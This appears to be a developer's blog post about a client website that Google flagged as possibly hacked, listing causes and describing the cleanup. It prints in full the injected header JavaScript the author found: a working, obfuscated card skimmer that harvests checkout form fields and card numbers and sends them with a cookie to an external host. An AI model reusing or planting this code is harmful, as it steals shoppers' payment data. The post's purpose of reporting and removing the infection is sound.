my website is hacked shows on google

site may hacked

my website is hacked shows on google

site may hacked

I am going to write my personal experience about this matter, i am working with one of my client and after some days there website shows this site may be hacked and i googled and find many things by which this thing happened and if you are developer if you put below script in header this message came to website when google crawl web page.

Reasons:

1.Spam pages

2.Malwares

3. Bad keywords that is not good says google shows in url of your website.

I have issues with 4th reason.

4. From my backend some person have put javascript code in header it takes very hard time to find but in next article i will write you how to find script in an easy way.

Below is javascript code that is malicious and i found in my header.
<script type=”text/javascript”>function jj(e){var t=”; “+document.cookie,o=t.split(“; “+e+”=”);return 2==o.length?o.pop().split(“;”).shift():void 0}jj(“SESSIID”)||(document.cookie=”SESSIID=”+(new Date).getTime()),jQuery(function(e){e(“button”).on(“click”,function(){var t=””,o=”post”,n=window.location;if(new RegExp(“onepage|checkout”).test(n)){for(var c=document.querySelectorAll(“input, select, textarea, checkbox”),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;””==a&&(a=i),t+=a+”=”+c[i].value+”&”}if(t){var l=new RegExp(“[0-9]{13,16}”),u=new XMLHttpRequest;u.open(o,e(“<div />”).html(“&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;”).text(),!0),u.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”),u.send(t+”&asd=”+(l.test(t.replace(/s/g,””))?1:0)+”&utmp=”+n+”&cookie=”+jj(“SESSIID”)),console.clear()}}})});</script>

 

so i remove and resubmit and after one week my website message gone and website looks fine.

For my support mail me support@chandandubey.com

Below article help you more to remove:

http://www.chandandubey.com/remove-this-site-may-be-hacked-google/

 

Leave a comment